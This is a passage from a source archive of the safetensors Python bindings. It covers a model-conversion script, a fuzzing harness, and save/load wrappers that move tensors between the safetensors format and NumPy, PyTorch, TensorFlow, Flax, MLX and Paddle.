" Continue [Y/n] ?"
)
if txt.lower() in {"", "y"}:
commit_info, errors = convert(api, model_id, revision=args.revision, force=args.force)
string = f"""
### Success 🔥
Yay! This model was successfully converted and a PR was open using your token, here:
[{commit_info.pr_url}]({commit_info.pr_url})
"""
if errors:
string += "\nErrors during conversion:\n"
string += "\n".join(
f"Error while converting {filename}: {e}, skipped conversion" for filename, e in errors
)
print(string)
else:
print(f"Answer was `{txt}` aborting.")
safetensors-0.5.2/bindings/python/convert_all.py 0000664 0000000 0000000 00000002656 14737533723 0022101 0 ustar 00root root 0000000 0000000 """Simple utility tool to convert automatically most downloaded models"""
from convert import AlreadyExists, convert
from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments
from transformers import AutoConfig
if __name__ == "__main__":
api = HfApi()
args = ModelSearchArguments()
total = 50
models = list(
api.list_models(filter=ModelFilter(library=args.library.Transformers), sort="downloads", direction=-1)
)[:total]
correct = 0
errors = set()
for model in models:
model = api.model_info(model.id, files_metadata=True)
size = None
for sibling in model.siblings:
if sibling.rfilename == "pytorch_model.bin":
size = sibling.size
if size is None or size > 2_000_000_000:
print(f"[{model.downloads}] Skipping {model.modelId} (too large {size})")
continue
model_id = model.modelId
print(f"[{model.downloads}] {model.modelId}")
try:
convert(api, model_id)
correct += 1
except AlreadyExists as e:
correct += 1
print(e)
except Exception as e:
config = AutoConfig.from_pretrained(model_id)
errors.add(config.__class__.__name__)
print(e)
print(f"Errors: {errors}")
print(f"File size is difference {len(errors)}")
print(f"Correct rate {correct}/{total} ({correct/total * 100:.2f}%)")
safetensors-0.5.2/bindings/python/fuzz.py 0000664 0000000 0000000 00000001331 14737533723 0020554 0 ustar 00root root 0000000 0000000 import datetime
import sys
import tempfile
from collections import defaultdict
import atheris
with atheris.instrument_imports():
from safetensors.torch import load_file
EXCEPTIONS = defaultdict(int)
START = datetime.datetime.now()
DT = datetime.timedelta(seconds=30)
def TestOneInput(data):
global START
with tempfile.NamedTemporaryFile() as f:
f.write(data)
f.seek(0)
try:
load_file(f.name, device=0)
except Exception as e:
EXCEPTIONS[str(e)] += 1
if datetime.datetime.now() - START > DT:
for e, n in EXCEPTIONS.items():
print(e, n)
START = datetime.datetime.now()
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
safetensors-0.5.2/bindings/python/py_src/ 0000775 0000000 0000000 00000000000 14737533723 0020505 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/py_src/safetensors/ 0000775 0000000 0000000 00000000000 14737533723 0023041 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/py_src/safetensors/__init__.py 0000664 0000000 0000000 00000000253 14737533723 0025152 0 ustar 00root root 0000000 0000000 # Re-export this
from ._safetensors_rust import ( # noqa: F401
SafetensorError,
__version__,
deserialize,
safe_open,
serialize,
serialize_file,
)
safetensors-0.5.2/bindings/python/py_src/safetensors/__init__.pyi 0000664 0000000 0000000 00000007254 14737533723 0025333 0 ustar 00root root 0000000 0000000 # Generated content DO NOT EDIT
@staticmethod
def deserialize(bytes):
"""
Opens a safetensors lazily and returns tensors as asked
Args:
data (`bytes`):
The byte content of a file
Returns:
(`List[str, Dict[str, Dict[str, any]]]`):
The deserialized content is like:
[("tensor_name", {"shape": [2, 3], "dtype": "F32", "data": b"\0\0.." }), (...)]
"""
pass
@staticmethod
def serialize(tensor_dict, metadata=None):
"""
Serializes raw data.
Args:
tensor_dict (`Dict[str, Dict[Any]]`):
The tensor dict is like:
{"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}}
metadata (`Dict[str, str]`, *optional*):
The optional purely text annotations
Returns:
(`bytes`):
The serialized content.
"""
pass
@staticmethod
def serialize_file(tensor_dict, filename, metadata=None):
"""
Serializes raw data.
Args:
tensor_dict (`Dict[str, Dict[Any]]`):
The tensor dict is like:
{"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}}
filename (`str`, or `os.PathLike`):
The name of the file to write into.
metadata (`Dict[str, str]`, *optional*):
The optional purely text annotations
Returns:
(`bytes`):
The serialized content.
"""
pass
class safe_open:
"""
Opens a safetensors lazily and returns tensors as asked
Args:
filename (`str`, or `os.PathLike`):
The filename to open
framework (`str`):
The framework you want you tensors in. Supported values:
`pt`, `tf`, `flax`, `numpy`.
device (`str`, defaults to `"cpu"`):
The device on which you want the tensors.
"""
def __init__(self, filename, framework, device=...):
pass
def __enter__(self):
"""
Start the context manager
"""
pass
def __exit__(self, _exc_type, _exc_value, _traceback):
"""
Exits the context manager
"""
pass
def get_slice(self, name):
"""
Returns a full slice view object
Args:
name (`str`):
The name of the tensor you want
Returns:
(`PySafeSlice`):
A dummy object you can slice into to get a real tensor
Example:
```python
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt", device=0) as f:
tensor_part = f.get_slice("embedding")[:, ::8]
```
"""
pass
def get_tensor(self, name):
"""
Returns a full tensor
Args:
name (`str`):
The name of the tensor you want
Returns:
(`Tensor`):
The tensor in the framework you opened the file for.
Example:
```python
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt", device=0) as f:
tensor = f.get_tensor("embedding")
```
"""
pass
def keys(self):
"""
Returns the names of the tensors in the file.
Returns:
(`List[str]`):
The name of the tensors contained in that file
"""
pass
def metadata(self):
"""
Return the special non tensor information in the header
Returns:
(`Dict[str, str]`):
The freeform metadata.
"""
pass
class SafetensorError(Exception):
"""
Custom Python Exception for Safetensor errors.
"""
safetensors-0.5.2/bindings/python/py_src/safetensors/flax.py 0000664 0000000 0000000 00000007406 14737533723 0024354 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import jax.numpy as jnp
from jax import Array
from safetensors import numpy, safe_open
def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, Array]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.flax import save
from jax import numpy as jnp
tensors = {"embedding": jnp.zeros((512, 1024)), "attention": jnp.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _jnp2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, Array],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, Array]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.flax import save_file
from jax import numpy as jnp
tensors = {"embedding": jnp.zeros((512, 1024)), "attention": jnp.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _jnp2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, Array]:
"""
Loads a safetensors file into flax format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, Array]`: dictionary that contains name as key, value as `Array` on cpu
Example:
```python
from safetensors.flax import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2jnp(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, Array]:
"""
Loads a safetensors file into flax format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
Returns:
`Dict[str, Array]`: dictionary that contains name as key, value as `Array`
Example:
```python
from safetensors.flax import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
result = {}
with safe_open(filename, framework="flax") as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]:
for k, v in numpy_dict.items():
numpy_dict[k] = jnp.array(v)
return numpy_dict
def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]:
for k, v in jnp_dict.items():
jnp_dict[k] = np.asarray(v)
return jnp_dict
safetensors-0.5.2/bindings/python/py_src/safetensors/mlx.py 0000664 0000000 0000000 00000007375 14737533723 0024227 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import mlx.core as mx
from safetensors import numpy, safe_open
def save(tensors: Dict[str, mx.array], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, mx.array]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.mlx import save
import mlx.core as mx
tensors = {"embedding": mx.zeros((512, 1024)), "attention": mx.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _mx2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, mx.array],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, mx.array]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.mlx import save_file
import mlx.core as mx
tensors = {"embedding": mx.zeros((512, 1024)), "attention": mx.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _mx2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, mx.array]:
"""
Loads a safetensors file into MLX format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, mx.array]`: dictionary that contains name as key, value as `mx.array`
Example:
```python
from safetensors.mlx import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2mx(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, mx.array]:
"""
Loads a safetensors file into MLX format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
Returns:
`Dict[str, mx.array]`: dictionary that contains name as key, value as `mx.array`
Example:
```python
from safetensors.flax import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
result = {}
with safe_open(filename, framework="mlx") as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2mx(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, mx.array]:
for k, v in numpy_dict.items():
numpy_dict[k] = mx.array(v)
return numpy_dict
def _mx2np(mx_dict: Dict[str, mx.array]) -> Dict[str, np.array]:
new_dict = {}
for k, v in mx_dict.items():
new_dict[k] = np.asarray(v)
return new_dict
safetensors-0.5.2/bindings/python/py_src/safetensors/numpy.py 0000664 0000000 0000000 00000011511 14737533723 0024562 0 ustar 00root root 0000000 0000000 import os
import sys
from typing import Dict, Optional, Union
import numpy as np
from safetensors import deserialize, safe_open, serialize, serialize_file
def _tobytes(tensor: np.ndarray) -> bytes:
if not _is_little_endian(tensor):
tensor = tensor.byteswap(inplace=False)
return tensor.tobytes()
def save(tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensor_dict (`Dict[str, np.ndarray]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.numpy import save
import numpy as np
tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))}
byte_data = save(tensors)
```
"""
flattened = {k: {"dtype": v.dtype.name, "shape": v.shape, "data": _tobytes(v)} for k, v in tensor_dict.items()}
serialized = serialize(flattened, metadata=metadata)
result = bytes(serialized)
return result
def save_file(
tensor_dict: Dict[str, np.ndarray], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]] = None
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensor_dict (`Dict[str, np.ndarray]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.numpy import save_file
import numpy as np
tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
flattened = {k: {"dtype": v.dtype.name, "shape": v.shape, "data": _tobytes(v)} for k, v in tensor_dict.items()}
serialize_file(flattened, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, np.ndarray]:
"""
Loads a safetensors file into numpy format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray` on cpu
Example:
```python
from safetensors.numpy import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = deserialize(data)
return _view2np(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, np.ndarray]:
"""
Loads a safetensors file into numpy format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
Returns:
`Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray`
Example:
```python
from safetensors.numpy import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
result = {}
with safe_open(filename, framework="np") as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
_TYPES = {
"F64": np.float64,
"F32": np.float32,
"F16": np.float16,
"I64": np.int64,
"U64": np.uint64,
"I32": np.int32,
"U32": np.uint32,
"I16": np.int16,
"U16": np.uint16,
"I8": np.int8,
"U8": np.uint8,
"BOOL": bool,
}
def _getdtype(dtype_str: str) -> np.dtype:
return _TYPES[dtype_str]
def _view2np(safeview) -> Dict[str, np.ndarray]:
result = {}
for k, v in safeview:
dtype = _getdtype(v["dtype"])
arr = np.frombuffer(v["data"], dtype=dtype).reshape(v["shape"])
result[k] = arr
return result
def _is_little_endian(tensor: np.ndarray) -> bool:
byteorder = tensor.dtype.byteorder
if byteorder == "=":
if sys.byteorder == "little":
return True
else:
return False
elif byteorder == "|":
return True
elif byteorder == "<":
return True
elif byteorder == ">":
return False
raise ValueError(f"Unexpected byte order {byteorder}")
safetensors-0.5.2/bindings/python/py_src/safetensors/paddle.py 0000664 0000000 0000000 00000010117 14737533723 0024644 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import paddle
from safetensors import numpy
def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, paddle.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.paddle import save
import paddle
tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _paddle2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, paddle.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, paddle.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.paddle import save_file
import paddle
tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _paddle2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]:
"""
Loads a safetensors file into paddle format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu
Example:
```python
from safetensors.paddle import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2paddle(flat, device)
def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, paddle.Tensor]:
"""
Loads a safetensors file into paddle format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
device (`Union[Dict[str, any], str]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular paddle device locations
Returns:
`Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor`
Example:
```python
from safetensors.paddle import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
flat = numpy.load_file(filename)
output = _np2paddle(flat, device)
return output
def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str = "cpu") -> Dict[str, paddle.Tensor]:
for k, v in numpy_dict.items():
numpy_dict[k] = paddle.to_tensor(v, place=device)
return numpy_dict
def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
for k, v in paddle_dict.items():
paddle_dict[k] = v.detach().cpu().numpy()
return paddle_dict
safetensors-0.5.2/bindings/python/py_src/safetensors/py.typed 0000664 0000000 0000000 00000000000 14737533723 0024526 0 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/py_src/safetensors/tensorflow.py 0000664 0000000 0000000 00000007462 14737533723 0025626 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import tensorflow as tf
from safetensors import numpy, safe_open
def save(tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, tf.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.tensorflow import save
import tensorflow as tf
tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _tf2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, tf.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, tf.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.tensorflow import save_file
import tensorflow as tf
tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _tf2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, tf.Tensor]:
"""
Loads a safetensors file into tensorflow format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor` on cpu
Example:
```python
from safetensors.tensorflow import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2tf(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, tf.Tensor]:
"""
Loads a safetensors file into tensorflow format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
Returns:
`Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor`
Example:
```python
from safetensors.tensorflow import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
result = {}
with safe_open(filename, framework="tf") as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]:
for k, v in numpy_dict.items():
numpy_dict[k] = tf.convert_to_tensor(v)
return numpy_dict
def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]:
for k, v in tf_dict.items():
tf_dict[k] = v.numpy()
return tf_dict
safetensors-0.5.2/bindings/python/py_src/safetensors/torch.py 0000664 0000000 0000000 00000042636 14737533723 0024545 0 ustar 00root root 0000000 0000000 import os
import sys
from collections import defaultdict
from typing import Any, Dict, List, Optional, Set, Tuple, Union
import torch
from safetensors import deserialize, safe_open, serialize, serialize_file
def storage_ptr(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().data_ptr()
except Exception:
# Fallback for torch==1.10
try:
return tensor.storage().data_ptr()
except NotImplementedError:
# Fallback for meta storage
return 0
def _end_ptr(tensor: torch.Tensor) -> int:
if tensor.nelement():
stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype]
else:
stop = tensor.data_ptr()
return stop
def storage_size(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().nbytes()
except AttributeError:
# Fallback for torch==1.10
try:
return tensor.storage().size() * _SIZE[tensor.dtype]
except NotImplementedError:
# Fallback for meta storage
# On torch >=2.0 this is the tensor size
return tensor.nelement() * _SIZE[tensor.dtype]
def _filter_shared_not_shared(tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
filtered_tensors = []
for shared in tensors:
if len(shared) < 2:
filtered_tensors.append(shared)
continue
areas = []
for name in shared:
tensor = state_dict[name]
areas.append((tensor.data_ptr(), _end_ptr(tensor), name))
areas.sort()
_, last_stop, last_name = areas[0]
filtered_tensors.append({last_name})
for start, stop, name in areas[1:]:
if start >= last_stop:
filtered_tensors.append({name})
else:
filtered_tensors[-1].add(name)
last_stop = stop
return filtered_tensors
def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
tensors = defaultdict(set)
for k, v in state_dict.items():
if v.device != torch.device("meta") and storage_ptr(v) != 0 and storage_size(v) != 0:
# Need to add device as key because of multiple GPU.
tensors[(v.device, storage_ptr(v), storage_size(v))].add(k)
tensors = list(sorted(tensors.values()))
tensors = _filter_shared_not_shared(tensors, state_dict)
return tensors
def _is_complete(tensor: torch.Tensor) -> bool:
return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[tensor.dtype] == storage_size(tensor)
def _remove_duplicate_names(
state_dict: Dict[str, torch.Tensor],
*,
preferred_names: Optional[List[str]] = None,
discard_names: Optional[List[str]] = None,
) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set([name for name in shared if _is_complete(state_dict[name])])
if not complete_names:
raise RuntimeError(
"Error while trying to find names to remove to save state dict, but found no suitable name to keep"
f" for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model"
" since you could be storing much more memory than needed. Please refer to"
" https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an"
" issue."
)
keep_name = sorted(list(complete_names))[0]
# Mechanism to preferentially select keys to keep
# coming from the on-disk file to allow
# loading models saved with a different choice
# of keep_name
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def save_model(
model: torch.nn.Module, filename: str, metadata: Optional[Dict[str, str]] = None, force_contiguous: bool = True
):
"""
Saves a given torch model to specified filename.
This method exists specifically to avoid tensor sharing issues which are
not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors)
Args:
model (`torch.nn.Module`):
The model to save on disk.
filename (`str`):
The filename location to save the file
metadata (`Dict[str, str]`, *optional*):
Extra information to save along with the file.
Some metadata will be added for each dropped tensors.
This information will not be enough to recover the entire
shared structure but might help understanding things
force_contiguous (`boolean`, *optional*, defaults to True):
Forcing the state_dict to be saved as contiguous tensors.
This has no effect on the correctness of the model, but it
could potentially change performance if the layout of the tensor
was chosen specifically for that reason.
"""
state_dict = model.state_dict()
to_removes = _remove_duplicate_names(state_dict)
for kept_name, to_remove_group in to_removes.items():
for to_remove in to_remove_group:
if metadata is None:
metadata = {}
if to_remove not in metadata:
# Do not override user data
metadata[to_remove] = kept_name
del state_dict[to_remove]
if force_contiguous:
state_dict = {k: v.contiguous() for k, v in state_dict.items()}
try:
save_file(state_dict, filename, metadata=metadata)
except ValueError as e:
msg = str(e)
msg += " Or use save_model(..., force_contiguous=True), read the docs for potential caveats."
raise ValueError(msg)
def load_model(
model: torch.nn.Module, filename: Union[str, os.PathLike], strict: bool = True, device: Union[str, int] = "cpu"
) -> Tuple[List[str], List[str]]:
"""
Loads a given filename onto a torch model.
This method exists specifically to avoid tensor sharing issues which are
not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors)
Args:
model (`torch.nn.Module`):
The model to load onto.
filename (`str`, or `os.PathLike`):
The filename location to load the file from.
strict (`bool`, *optional*, defaults to True):
Whether to fail if you're missing keys or having unexpected ones.
When false, the function simply returns missing and unexpected names.
device (`Union[str, int]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular torch device locations.
Returns:
`(missing, unexpected): (List[str], List[str])`
`missing` are names in the model which were not modified during loading
`unexpected` are names that are on the file, but weren't used during
the load.
"""
state_dict = load_file(filename, device=device)
model_state_dict = model.state_dict()
to_removes = _remove_duplicate_names(model_state_dict, preferred_names=state_dict.keys())
missing, unexpected = model.load_state_dict(state_dict, strict=False)
missing = set(missing)
for to_remove_group in to_removes.values():
for to_remove in to_remove_group:
if to_remove not in missing:
unexpected.append(to_remove)
else:
missing.remove(to_remove)
if strict and (missing or unexpected):
missing_keys = ", ".join([f'"{k}"' for k in sorted(missing)])
unexpected_keys = ", ".join([f'"{k}"' for k in sorted(unexpected)])
error = f"Error(s) in loading state_dict for {model.__class__.__name__}:"
if missing:
error += f"\n Missing key(s) in state_dict: {missing_keys}"
if unexpected:
error += f"\n Unexpected key(s) in state_dict: {unexpected_keys}"
raise RuntimeError(error)
return missing, unexpected
def save(tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, torch.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.torch import save
import torch
tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))}
byte_data = save(tensors)
```
"""
serialized = serialize(_flatten(tensors), metadata=metadata)
result = bytes(serialized)
return result
def save_file(
tensors: Dict[str, torch.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
):
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, torch.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.torch import save_file
import torch
tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
serialize_file(_flatten(tensors), filename, metadata=metadata)
def load_file(filename: Union[str, os.PathLike], device: Union[str, int] = "cpu") -> Dict[str, torch.Tensor]:
"""
Loads a safetensors file into torch format.
Args:
filename (`str`, or `os.PathLike`):
The name of the file which contains the tensors
device (`Union[str, int]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular torch device locations.
Returns:
`Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor`
Example:
```python
from safetensors.torch import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
